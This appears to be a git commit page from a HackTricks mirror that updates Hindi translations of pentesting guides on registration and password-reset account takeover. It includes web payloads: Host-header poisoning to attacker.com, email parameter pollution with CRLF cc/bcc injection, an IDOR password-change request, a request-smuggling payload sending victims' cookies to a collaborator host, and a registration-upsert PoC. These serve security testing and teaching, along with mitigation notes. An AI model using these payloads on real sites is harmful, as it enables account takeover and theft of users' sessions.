mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/pentesting-web/reset-password.md', 'src/pentesting-
This commit is contained in:
parent
84c1d3e5ab
commit
51d6911692
@ -1,77 +1,79 @@
|
||||
# पंजीकरण और अधिग्रहण कमजोरियाँ
|
||||
# पंजीकरण और Takeover Vulnerabilities
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## पंजीकरण अधिग्रहण
|
||||
## Registration Takeover
|
||||
|
||||
### डुप्लिकेट पंजीकरण
|
||||
### Duplicate Registration
|
||||
|
||||
- मौजूदा उपयोगकर्ता नाम का उपयोग करके जनरेट करने की कोशिश करें
|
||||
- ईमेल को बदलने की जांच करें:
|
||||
- अपरकेस
|
||||
- मौजूदा username का उपयोग करके जनरेट करने की कोशिश करें
|
||||
- email को बदलकर जांचें:
|
||||
- uppercase
|
||||
- \+1@
|
||||
- ईमेल में कुछ डॉट जोड़ें
|
||||
- ईमेल नाम में विशेष वर्ण (%00, %09, %20)
|
||||
- ईमेल के बाद काले वर्ण डालें: `test@test.com a`
|
||||
- ईमेल में कुछ dot जोड़ें
|
||||
- ईमेल नाम में special characters जोड़ें (%00, %09, %20)
|
||||
- ईमेल के बाद black characters डालें: `test@test.com a`
|
||||
- victim@gmail.com@attacker.com
|
||||
- victim@attacker.com@gmail.com
|
||||
|
||||
### उपयोगकर्ता नाम गणना
|
||||
### Username Enumeration
|
||||
|
||||
जांचें कि क्या आप यह पता लगा सकते हैं कि एक उपयोगकर्ता नाम पहले से ही एप्लिकेशन के अंदर पंजीकृत है।
|
||||
जाँचें कि क्या आप यह पता लगा सकते हैं कि किसी username को एप्लिकेशन में पहले से रजिस्टर किया गया है या नहीं।
|
||||
|
||||
### पासवर्ड नीति
|
||||
### Password Policy
|
||||
|
||||
एक उपयोगकर्ता बनाने पर पासवर्ड नीति की जांच करें (जांचें कि क्या आप कमजोर पासवर्ड का उपयोग कर सकते हैं)।\
|
||||
इस मामले में आप क्रेडेंशियल्स को ब्रूटफोर्स करने की कोशिश कर सकते हैं।
|
||||
किसी user को बनाते समय password policy की जांच करें (देखें कि क्या आप weak passwords का उपयोग कर सकते हैं)।\
|
||||
ऐसी स्थिति में आप credentials को bruteforce करने की कोशिश कर सकते हैं।
|
||||
|
||||
### SQL इंजेक्शन
|
||||
### SQL Injection
|
||||
|
||||
[**इस पृष्ठ की जांच करें** ](sql-injection/index.html#insert-statement)यह जानने के लिए कि कैसे खाता अधिग्रहण का प्रयास करें या **SQL इंजेक्शन** के माध्यम से जानकारी निकालें।
|
||||
[**Check this page** ](sql-injection/index.html#insert-statement)to learn how to attempt account takeovers or extract information via **SQL Injections** in registry forms.
|
||||
|
||||
### Oauth Takeovers
|
||||
|
||||
### ओथ अधिग्रहण
|
||||
|
||||
{{#ref}}
|
||||
oauth-to-account-takeover.md
|
||||
{{#endref}}
|
||||
|
||||
### SAML कमजोरियाँ
|
||||
### SAML Vulnerabilities
|
||||
|
||||
|
||||
{{#ref}}
|
||||
saml-attacks/
|
||||
{{#endref}}
|
||||
|
||||
### ईमेल बदलें
|
||||
### Change Email
|
||||
|
||||
जब पंजीकृत हों तो ईमेल बदलने की कोशिश करें और जांचें कि क्या यह परिवर्तन सही ढंग से मान्य है या इसे मनमाने ईमेल में बदल सकते हैं।
|
||||
रजिस्टर करने के बाद email बदलने की कोशिश करें और जांचें कि क्या यह परिवर्तन सही ढंग से validate होता है या क्या इसे arbitrary emails में बदला जा सकता है।
|
||||
|
||||
### अधिक जांचें
|
||||
### More Checks
|
||||
|
||||
- जांचें कि क्या आप **निष्क्रिय ईमेल** का उपयोग कर सकते हैं
|
||||
- **लंबा** **पासवर्ड** (>200) **DoS** की ओर ले जाता है
|
||||
- **खाता निर्माण पर दर सीमाओं की जांच करें**
|
||||
- username@**burp_collab**.net का उपयोग करें और **कॉलबैक** का विश्लेषण करें
|
||||
- जांचें कि क्या आप **disposable emails** का उपयोग कर सकते हैं
|
||||
- **Long** **password** (>200) से **DoS** हो सकता है
|
||||
- **Check rate limits on account creation**
|
||||
- username@**burp_collab**.net का उपयोग करें और **callback** का विश्लेषण करें
|
||||
|
||||
## **पासवर्ड रीसेट अधिग्रहण**
|
||||
## **Password Reset Takeover**
|
||||
|
||||
### रेफरर के माध्यम से पासवर्ड रीसेट टोकन लीक <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
|
||||
### Password Reset Token Leak Via Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
|
||||
|
||||
1. अपने ईमेल पते पर पासवर्ड रीसेट का अनुरोध करें
|
||||
2. पासवर्ड रीसेट लिंक पर क्लिक करें
|
||||
3. पासवर्ड न बदलें
|
||||
4. किसी 3rd पार्टी वेबसाइटों पर क्लिक करें (जैसे: फेसबुक, ट्विटर)
|
||||
5. Burp Suite प्रॉक्सी में अनुरोध को इंटरसेप्ट करें
|
||||
6. जांचें कि क्या रेफरर हेडर पासवर्ड रीसेट टोकन लीक कर रहा है।
|
||||
1. अपने email पते पर password reset request करें
|
||||
2. password reset लिंक पर क्लिक करें
|
||||
3. पासवर्ड बदलें नहीं
|
||||
4. किसी भी 3rd party वेबसाइट (उदा.: Facebook, twitter) पर क्लिक करें
|
||||
5. Burp Suite proxy में request को intercept करें
|
||||
6. Check if the referer header is leaking password reset token.
|
||||
|
||||
### पासवर्ड रीसेट पॉइज़निंग <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
|
||||
### Password Reset Poisoning <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
|
||||
|
||||
1. Burp Suite में पासवर्ड रीसेट अनुरोध को इंटरसेप्ट करें
|
||||
2. Burp Suite में निम्नलिखित हेडर जोड़ें या संपादित करें: `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
|
||||
3. संशोधित हेडर के साथ अनुरोध को फॉरवर्ड करें\
|
||||
1. Burp Suite में password reset request को intercept करें
|
||||
2. Burp Suite में निम्न headers जोड़ें या edit करें: `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
|
||||
3. बदले हुए header के साथ request को forward करें\
|
||||
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
|
||||
4. _host header_ के आधार पर पासवर्ड रीसेट URL की तलाश करें जैसे: `https://attacker.com/reset-password.php?token=TOKEN`
|
||||
4. _host header_ पर आधारित किसी password reset URL की तलाश करें, जैसे : `https://attacker.com/reset-password.php?token=TOKEN`
|
||||
|
||||
### ईमेल पैरामीटर के माध्यम से पासवर्ड रीसेट <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
|
||||
### Password Reset Via Email Parameter <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
|
||||
```bash
|
||||
# parameter pollution
|
||||
email=victim@mail.com&email=hacker@mail.com
|
||||
@ -90,56 +92,56 @@ email=victim@mail.com|hacker@mail.com
|
||||
```
|
||||
### IDOR on API Parameters <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
|
||||
|
||||
1. हमलावर को अपने खाते में लॉगिन करना होगा और **पासवर्ड बदलें** फीचर पर जाना होगा।
|
||||
2. Burp Suite शुरू करें और अनुरोध को इंटरसेप्ट करें।
|
||||
3. इसे रिपीटर टैब में भेजें और पैरामीटर संपादित करें: User ID/email\
|
||||
1. Attacker को अपने अकाउंट से लॉगइन करके **Change password** फीचर पर जाना होगा।
|
||||
2. Burp Suite शुरू करें और request को Intercept करें।
|
||||
3. इसे Repeater tab में भेजें और parameters संपादित करें : User ID/email\
|
||||
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
|
||||
|
||||
### Weak Password Reset Token <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
|
||||
|
||||
पासवर्ड रीसेट टोकन को हर बार यादृच्छिक रूप से उत्पन्न और अद्वितीय होना चाहिए।\
|
||||
यह निर्धारित करने की कोशिश करें कि क्या टोकन समाप्त होता है या यह हमेशा समान होता है, कुछ मामलों में उत्पन्न करने वाला एल्गोरिदम कमजोर होता है और इसे अनुमानित किया जा सकता है। निम्नलिखित चर एल्गोरिदम द्वारा उपयोग किए जा सकते हैं।
|
||||
Password reset token को हर बार randomly generate और unique होना चाहिए।\
|
||||
यह पता करने की कोशिश करें कि token expire होता है या हमेशा वही रहता है; कुछ मामलों में generation algorithm कमजोर होता है और अनुमान लगाया जा सकता है। निम्नलिखित variables algorithm द्वारा उपयोग किए जा सकते हैं।
|
||||
|
||||
- Timestamp
|
||||
- UserID
|
||||
- User का ईमेल
|
||||
- User का Email
|
||||
- Firstname और Lastname
|
||||
- जन्म तिथि
|
||||
- Date of Birth
|
||||
- Cryptography
|
||||
- केवल संख्या
|
||||
- छोटा टोकन अनुक्रम (अक्षर \[A-Z,a-z,0-9] के बीच)
|
||||
- टोकन पुन: उपयोग
|
||||
- टोकन समाप्ति तिथि
|
||||
- केवल नंबर
|
||||
- छोटी token sequence ( characters between \[A-Z,a-z,0-9])
|
||||
- Token का पुन: उपयोग
|
||||
- Token की expiration date
|
||||
|
||||
### Leaking Password Reset Token <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
|
||||
|
||||
1. एक विशिष्ट ईमेल के लिए API/UI का उपयोग करके पासवर्ड रीसेट अनुरोध ट्रिगर करें, जैसे: test@mail.com
|
||||
2. सर्वर प्रतिक्रिया का निरीक्षण करें और `resetToken` की जांच करें।
|
||||
3. फिर टोकन का उपयोग एक URL में करें जैसे `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
|
||||
1. API/UI का इस्तेमाल करके किसी specific email के लिए password reset request ट्रिगर करें, उदाहरण: test@mail.com
|
||||
2. server response को Inspect करें और `resetToken` देखें
|
||||
3. फिर उस token को इस तरह की URL में उपयोग करें: `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
|
||||
|
||||
### Password Reset Via Username Collision <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
|
||||
|
||||
1. सिस्टम पर एक उपयोगकर्ता नाम के साथ पंजीकरण करें जो पीड़ित के उपयोगकर्ता नाम के समान हो, लेकिन उपयोगकर्ता नाम के पहले और/या बाद में खाली स्थान डालें। जैसे: `"admin "`
|
||||
2. अपने दुर्भावनापूर्ण उपयोगकर्ता नाम के साथ पासवर्ड रीसेट का अनुरोध करें।
|
||||
3. अपने ईमेल पर भेजे गए टोकन का उपयोग करें और पीड़ित का पासवर्ड रीसेट करें।
|
||||
4. नए पासवर्ड के साथ पीड़ित खाते में लॉगिन करें।
|
||||
1. सिस्टम पर ऐसा username register करें जो victim के username के समान हो, लेकिन username के पहले और/या बाद में white spaces डालें। उदाहरण: `"admin "`
|
||||
2. अपनी malicious username से password reset request करें।
|
||||
3. अपने ईमेल पर भेजा गया token उपयोग करके victim का password reset करें।
|
||||
4. नए password से victim के अकाउंट में लॉगिन करें।
|
||||
|
||||
प्लेटफ़ॉर्म CTFd इस हमले के प्रति संवेदनशील था।\
|
||||
देखें: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
|
||||
CTFd प्लेटफ़ॉर्म इस attack के प्रति vulnerable था।\
|
||||
See: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
|
||||
|
||||
### Account Takeover Via Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
|
||||
|
||||
1. एप्लिकेशन के अंदर या एक उपडोमेन में XSS खोजें यदि कुकीज़ को पैरेंट डोमेन पर स्कोप किया गया है: `*.domain.com`
|
||||
2. वर्तमान **सत्र कुकी** लीक करें।
|
||||
3. कुकी का उपयोग करके उपयोगकर्ता के रूप में प्रमाणीकरण करें।
|
||||
1. एप्लिकेशन या किसी subdomain में XSS ढूंढें अगर cookies parent domain पर scoped हैं: `*.domain.com`
|
||||
2. वर्तमान **sessions cookie** को leak करें
|
||||
3. cookie का उपयोग करके उपयोगकर्ता के रूप में authenticate करें
|
||||
|
||||
### Account Takeover Via HTTP Request Smuggling <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
|
||||
|
||||
1\. **smuggler** का उपयोग करें HTTP Request Smuggling के प्रकार का पता लगाने के लिए (CL, TE, CL.TE)\
|
||||
1\. **smuggler** का उपयोग करके HTTP Request Smuggling का प्रकार पता करें (CL, TE, CL.TE)\
|
||||
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
|
||||
2\. एक अनुरोध तैयार करें जो `POST / HTTP/1.1` को निम्नलिखित डेटा के साथ ओवरराइट करेगा:\
|
||||
`GET http://something.burpcollaborator.net HTTP/1.1 X:` जिसका लक्ष्य पीड़ितों को burpcollab पर ओपन रीडायरेक्ट करना और उनकी कुकीज़ चुराना है।\
|
||||
3\. अंतिम अनुरोध निम्नलिखित जैसा दिख सकता है
|
||||
2\. एक request तैयार करें जो `POST / HTTP/1.1` को निम्न data से overwrite करेगा:\
|
||||
`GET http://something.burpcollaborator.net HTTP/1.1 X:` जिसका उद्देश्य victims को burpcollab पर open redirect करना और उनकी cookies चुराना है\
|
||||
3\. अंतिम request नीचे जैसा दिख सकता है
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
Transfer-Encoding: chunked
|
||||
@ -151,29 +153,50 @@ Content-Length: 83
|
||||
GET http://something.burpcollaborator.net HTTP/1.1
|
||||
X: X
|
||||
```
|
||||
Hackerone रिपोर्ट इस बग का फायदा उठाते हुए\
|
||||
Hackerone ने इस बग के शोषण की रिपोर्ट दी\
|
||||
\* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\
|
||||
\* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
|
||||
|
||||
### CSRF के माध्यम से खाता अधिग्रहण <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
|
||||
|
||||
1. CSRF के लिए एक पेलोड बनाएं, जैसे: “पासवर्ड परिवर्तन के लिए ऑटो सबमिट वाला HTML फॉर्म”
|
||||
2. पेलोड भेजें
|
||||
1. CSRF के लिए एक payload बनाएं, उदाहरण: “HTML form with auto submit for a password change”
|
||||
2. उस payload को भेजें
|
||||
|
||||
### JWT के माध्यम से खाता अधिग्रहण <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
|
||||
|
||||
JSON वेब टोकन का उपयोग एक उपयोगकर्ता को प्रमाणित करने के लिए किया जा सकता है।
|
||||
JSON Web Token का उपयोग किसी उपयोगकर्ता को प्रमाणित करने के लिए किया जा सकता है।
|
||||
|
||||
- दूसरे उपयोगकर्ता आईडी / ईमेल के साथ JWT संपादित करें
|
||||
- कमजोर JWT हस्ताक्षर की जांच करें
|
||||
- JWT को किसी अन्य User ID / Email के साथ संपादित करें
|
||||
- कमजोर JWT signature के लिए जाँच करें
|
||||
|
||||
|
||||
{{#ref}}
|
||||
hacking-jwt-json-web-tokens.md
|
||||
{{#endref}}
|
||||
|
||||
## Registration-as-Reset (Upsert on Existing Email)
|
||||
|
||||
कुछ signup handlers तब upsert करते हैं जब दिया गया email पहले से मौजूद हो। अगर endpoint एक minimal body (केवल email और password) स्वीकार करता है और ownership verification लागू नहीं करता, तो पीड़ित का email भेजने पर उनका password pre-auth ओवरराइट हो जाएगा।
|
||||
|
||||
- Discovery: bundled JS (or mobile app traffic) से endpoint नाम इकट्ठा करें, फिर ffuf/dirsearch का उपयोग करके /parents/application/v4/admin/FUZZ जैसे base paths को fuzz करें।
|
||||
- Method hints: GET से लौटने वाले संदेश जैसे "Only POST request is allowed." अक्सर सही verb और यह दर्शाते हैं कि JSON body की अपेक्षा है।
|
||||
- वास्तविक मामलों में देखी गई न्यूनतम body:
|
||||
```json
|
||||
{"email":"victim@example.com","password":"New@12345"}
|
||||
```
|
||||
उदाहरण PoC:
|
||||
```http
|
||||
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
|
||||
Host: www.target.tld
|
||||
Content-Type: application/json
|
||||
|
||||
{"email":"victim@example.com","password":"New@12345"}
|
||||
```
|
||||
प्रभाव: Full Account Takeover (ATO) without any reset token, OTP, or email verification.
|
||||
|
||||
## संदर्भ
|
||||
|
||||
- [How I Found a Critical Password Reset Bug (Registration upsert ATO)](https://s41n1k.medium.com/how-i-found-a-critical-password-reset-bug-in-the-bb-program-and-got-4-000-a22fffe285e1)
|
||||
- [https://salmonsec.com/cheatsheet/account_takeover](https://salmonsec.com/cheatsheet/account_takeover)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -4,9 +4,9 @@
|
||||
|
||||
## **Password Reset Token Leak Via Referrer**
|
||||
|
||||
- The HTTP referer header may leak the password reset token if it's included in the URL. यह तब हो सकता है जब उपयोगकर्ता password reset request करने के बाद किसी तृतीय-पक्ष वेबसाइट के लिंक पर क्लिक करे।
|
||||
- The HTTP referer header may leak the password reset token if it's included in the URL. यह तब हो सकता है जब कोई user password reset request करने के बाद किसी third-party वेबसाइट के लिंक पर क्लिक करे।
|
||||
- **Impact**: Potential account takeover via Cross-Site Request Forgery (CSRF) attacks.
|
||||
- **Exploitation**: यह जाँचने के लिए कि क्या password reset token referer header में leak हो रहा है, अपने ईमेल पते पर **request a password reset** करें और दिए गए **reset link** पर **click** करें। तुरंत अपना पासवर्ड **change** न करें। इसके बजाय, **third-party website** (जैसे Facebook या Twitter) पर नेविगेट करें जबकि आप अनुरोधों को **intercepting the requests using Burp Suite** कर रहे हों। अनुरोधों का निरीक्षण करें कि क्या **referer header contains the password reset token**, क्योंकि इससे संवेदनशील जानकारी तृतीय पक्षों के सामने expose हो सकती है।
|
||||
- **Exploitation**: यह जांचने के लिए कि password reset token referer header में leak हो रहा है या नहीं, अपने email पते के लिए request a password reset करें और दिए गए reset link पर click करें। तुरंत अपना पासवर्ड बदलें मत। इसके बजाय, intercepting the requests using Burp Suite करते हुए किसी third-party वेबसाइट (जैसे Facebook या Twitter) पर navigate करें। requests को inspect करके देखें कि referer header contains the password reset token या नहीं, क्योंकि इससे sensitive जानकारी third parties को expose हो सकती है।
|
||||
- **References**:
|
||||
- [HackerOne Report 342693](https://hackerone.com/reports/342693)
|
||||
- [HackerOne Report 272379](https://hackerone.com/reports/272379)
|
||||
@ -25,16 +25,15 @@
|
||||
|
||||
## **Password Reset By Manipulating Email Parameter**
|
||||
|
||||
Attackers can manipulate the password reset request by adding additional email parameters to divert the reset link.
|
||||
Attackers password reset request को manipulate करके अतिरिक्त email parameters जोड़कर reset link को divert कर सकते हैं।
|
||||
|
||||
- Attackers अपने ईमेल को अतिरिक्त parameter के रूप में जोड़कर reset link को divert कर सकते हैं।
|
||||
- Add attacker email as second parameter using &
|
||||
- दूसरा parameter के रूप में attacker email जोड़ें using &
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com&email=attacker@email.com
|
||||
```
|
||||
दूसरे पैरामीटर के रूप में हमलावर का ईमेल %20 का उपयोग करके जोड़ें
|
||||
- %20 का उपयोग करते हुए attacker email को दूसरे पैरामीटर के रूप में जोड़ें
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
@ -46,19 +45,19 @@ POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com|email=attacker@email.com
|
||||
```
|
||||
- cc का उपयोग करके attacker email को दूसरे पैरामीटर के रूप में जोड़ें
|
||||
- attacker email को दूसरे पैरामीटर के रूप में cc का उपयोग करके जोड़ें
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
|
||||
```
|
||||
- bcc का उपयोग करके दूसरे पैरामीटर के रूप में हमलावर का ईमेल जोड़ें
|
||||
- attacker email को दूसरे पैरामीटर के रूप में bcc का उपयोग करके जोड़ें
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
|
||||
```
|
||||
- attacker email को दूसरे पैरामीटर के रूप में , का उपयोग करके जोड़ें
|
||||
- दूसरे पैरामीटर के रूप में attacker email को , का उपयोग करके जोड़ें,
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
@ -70,40 +69,40 @@ POST /resetPassword
|
||||
[...]
|
||||
{"email":["victim@mail.tld","atracker@mail.tld"]}
|
||||
```
|
||||
- **निवारण के कदम**:
|
||||
- Server-side पर email parameters को ठीक से parse और validate करें.
|
||||
- injection attacks को रोकने के लिए prepared statements या parameterized queries का उपयोग करें.
|
||||
- **रोकथाम के कदम**:
|
||||
- Server-side पर email parameters को सही तरीके से parse और validate करें।
|
||||
- injection attacks को रोकने के लिए prepared statements या parameterized queries का उपयोग करें।
|
||||
- **संदर्भ**:
|
||||
- [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
|
||||
- [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
|
||||
- [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
|
||||
|
||||
## **API Parameters के माध्यम से किसी भी उपयोगकर्ता का Email और Password बदलना**
|
||||
## **किसी भी उपयोगकर्ता के Email और Password को API Parameters के माध्यम से बदलना**
|
||||
|
||||
- हमलावर API requests में email और password parameters को modify करके account credentials बदल सकते हैं.
|
||||
- हमलावर API requests में email और password parameters को संशोधित कर account credentials बदल सकते हैं।
|
||||
```php
|
||||
POST /api/changepass
|
||||
[...]
|
||||
("form": {"email":"victim@email.tld","password":"12345678"})
|
||||
```
|
||||
- **निवारण कदम**:
|
||||
- सुनिश्चित करें कि पैरामीटर वेलिडेशन और authentication चेक सख्ती से लागू हों।
|
||||
- संदिग्ध गतिविधियों का पता लगाने और उन पर प्रतिक्रिया देने के लिए मजबूत लॉगिंग और मॉनिटरिंग लागू करें।
|
||||
- कठोर पैरामीटर मान्यकरण और प्रमाणीकरण जांच सुनिश्चित करें।
|
||||
- संदिग्ध गतिविधियों का पता लगाने और उन पर प्रतिक्रिया करने के लिए मजबूत लॉगिंग और मॉनिटरिंग लागू करें।
|
||||
- **Reference**:
|
||||
- [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
|
||||
|
||||
## **No Rate Limiting: Email Bombing**
|
||||
|
||||
- पासवर्ड रीसेट अनुरोधों पर rate limiting की कमी email bombing का कारण बन सकती है, जिससे उपयोगकर्ता reset ईमेलों से अभिभूत हो सकता है।
|
||||
- पासवर्ड रिसेट अनुरोधों पर rate limiting की कमी Email Bombing की ओर ले जा सकती है, जिससे उपयोगकर्ता reset emails से अभिभूत हो सकता है।
|
||||
- **निवारण कदम**:
|
||||
- IP address या user account के आधार पर rate limiting लागू करें।
|
||||
- ऑटोमेटेड दुरुपयोग रोकने के लिए CAPTCHA challenges का उपयोग करें।
|
||||
- CAPTCHA challenges का उपयोग स्वचालित दुरुपयोग को रोकने के लिए करें।
|
||||
- **References**:
|
||||
- [HackerOne Report 280534](https://hackerone.com/reports/280534)
|
||||
|
||||
## **Find out How Password Reset Token is Generated**
|
||||
|
||||
- टोकन जनरेशन के पीछे के पैटर्न या विधि को समझने से टोकन की भविष्यवाणी या brute-force करना संभव हो सकता है। कुछ विकल्प:
|
||||
- टोकन जनरेशन के पीछे के पैटर्न या विधि को समझने से टोकन की भविष्यवाणी या brute-forcing किया जा सकता है। कुछ विकल्प:
|
||||
- Based Timestamp
|
||||
- Based on the UserID
|
||||
- Based on email of User
|
||||
@ -111,13 +110,13 @@ POST /api/changepass
|
||||
- Based on Date of Birth
|
||||
- Based on Cryptography
|
||||
- **निवारण कदम**:
|
||||
- टोकन जनरेशन के लिए मजबूत, cryptographic विधियों का उपयोग करें।
|
||||
- अनुमानयोग्यता रोकने के लिए पर्याप्त randomness और length सुनिश्चित करें।
|
||||
- **टूल्स**: Burp Sequencer का उपयोग करके टोकनों की randomness का विश्लेषण करें।
|
||||
- टोकन जनरेशन के लिए मजबूत, cryptographic विधियाँ उपयोग करें।
|
||||
- पूर्वानुमेयता से बचने के लिए पर्याप्त randomness और लंबाई सुनिश्चित करें।
|
||||
- **Tools**: टोकन की randomness का विश्लेषण करने के लिए Burp Sequencer का उपयोग करें।
|
||||
|
||||
## **Guessable UUID**
|
||||
|
||||
- यदि UUIDs (version 1) अनुमानित या predictable हैं, तो attackers उन्हें brute-force करके वैध reset tokens जनरेट कर सकते हैं। जाँचें:
|
||||
- यदि UUIDs (version 1) अनुमान योग्य या पूर्वानुमेय हैं, तो attackers इन्हें brute-force करके वैध reset tokens जनरेट कर सकते हैं। जाँच:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -125,54 +124,54 @@ uuid-insecurities.md
|
||||
{{#endref}}
|
||||
|
||||
- **निवारण कदम**:
|
||||
- रैंडमनेस के लिए GUID version 4 का उपयोग करें या अन्य वर्ज़न के लिए अतिरिक्त सुरक्षा उपाय लागू करें।
|
||||
- **Tools**: Use [guidtool](https://github.com/intruder-io/guidtool) for analyzing and generating GUIDs.
|
||||
- रैंडमनेस के लिए GUID version 4 का उपयोग करें या अन्य versions के लिए अतिरिक्त सुरक्षा उपाय लागू करें।
|
||||
- **Tools**: GUIDs का विश्लेषण और उत्पन्न करने के लिए [guidtool](https://github.com/intruder-io/guidtool) का उपयोग करें।
|
||||
|
||||
## **Response Manipulation: Replace Bad Response With Good One**
|
||||
|
||||
- HTTP responses को बदलकर error messages या restrictions को bypass करना।
|
||||
- त्रुटि संदेशों या प्रतिबंधों को बायपास करने के लिए HTTP responses को manipulate करना।
|
||||
- **निवारण कदम**:
|
||||
- response integrity सुनिश्चित करने के लिए server-side checks लागू करें।
|
||||
- man-in-the-middle attacks रोकने के लिए HTTPS जैसे secure communication channels का उपयोग करें।
|
||||
- response integrity सुनिश्चित करने के लिए server-side चेक लागू करें।
|
||||
- man-in-the-middle attacks को रोकने के लिए HTTPS जैसे सुरक्षित संचार चैनलों का उपयोग करें।
|
||||
- **Reference**:
|
||||
- [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
|
||||
|
||||
## **Using Expired Token**
|
||||
|
||||
- यह परखें कि क्या expired tokens अभी भी password reset के लिए उपयोग किए जा सकते हैं।
|
||||
- परीक्षण करें कि क्या expired tokens अभी भी password reset के लिए उपयोग किए जा सकते हैं।
|
||||
- **निवारण कदम**:
|
||||
- सख्त token expiration नीतियाँ लागू करें और token expiry को server-side पर validate करें।
|
||||
- कठोर token expiration नीतियाँ लागू करें और token expiry को server-side पर सत्यापित करें।
|
||||
|
||||
## **Brute Force Password Reset Token**
|
||||
|
||||
- Burpsuite और IP-Rotator जैसे टूल्स का उपयोग करके reset token को brute-force करने का प्रयास, ताकि IP-based rate limits को bypass किया जा सके।
|
||||
- IP-based rate limits को बायपास करने के लिए Burpsuite और IP-Rotator जैसे tools का उपयोग करके reset token को brute-force करने का प्रयास।
|
||||
- **निवारण कदम**:
|
||||
- मजबूत rate-limiting और account lockout मैकेनिज्म लागू करें।
|
||||
- brute-force हमलों के संकेत देने वाली संदिग्ध गतिविधियों की मॉनिटरिंग करें।
|
||||
- मजबूत rate-limiting और account lockout mechanisms लागू करें।
|
||||
- brute-force attacks के संकेतक के रूप में संदिग्ध गतिविधियों की निगरानी करें।
|
||||
|
||||
## **Try Using Your Token**
|
||||
|
||||
- परखें कि क्या किसी attacker का reset token victim के ईमेल के साथ उपयोग किया जा सकता है।
|
||||
- परीक्षण करें कि क्या किसी attacker का reset token पीड़ित के email के साथ उपयोग किया जा सकता है।
|
||||
- **निवारण कदम**:
|
||||
- सुनिश्चित करें कि टोकन user session या अन्य user-specific attributes से बाउंड हों।
|
||||
- सुनिश्चित करें कि tokens user session या अन्य user-specific attributes के साथ बाउंड हों।
|
||||
|
||||
## **Session Invalidation in Logout/Password Reset**
|
||||
|
||||
- यह सुनिश्चित करना कि जब उपयोगकर्ता logout करता है या password reset करता है तो sessions invalidated हों।
|
||||
- सुनिश्चित करें कि उपयोगकर्ता logout या password reset करने पर sessions invalidated हो जाएँ।
|
||||
- **निवारण कदम**:
|
||||
- proper session management लागू करें, यह सुनिश्चित करते हुए कि logout या password reset पर सभी sessions invalidated हो जाएँ।
|
||||
- सही session management लागू करें, यह सुनिश्चित करते हुए कि logout या password reset पर सभी sessions invalidated हों।
|
||||
|
||||
## **Session Invalidation in Logout/Password Reset**
|
||||
|
||||
- Reset tokens के पास एक expiration समय होना चाहिए जिसके बाद वे invalid हो जाएँ।
|
||||
- Reset tokens का एक expiration समय होना चाहिए जिसके बाद वे अमान्य हो जाते हैं।
|
||||
- **निवारण कदम**:
|
||||
- reset tokens के लिए एक उचित expiration समय तय करें और इसे server-side सख्ती से लागू करें।
|
||||
- Reset tokens के लिए एक यथोचित expiration समय सेट करें और इसे server-side पर सख्ती से लागू करें।
|
||||
|
||||
## **OTP rate limit bypass by changing your session**
|
||||
|
||||
- यदि वेबसाइट user session का उपयोग wrong OTP attempts को ट्रैक करने के लिए कर रही है और OTP कमजोर है (<= 4 digits) तो हम प्रभावी रूप से OTP को bruteforce कर सकते हैं।
|
||||
- **शोषण**:
|
||||
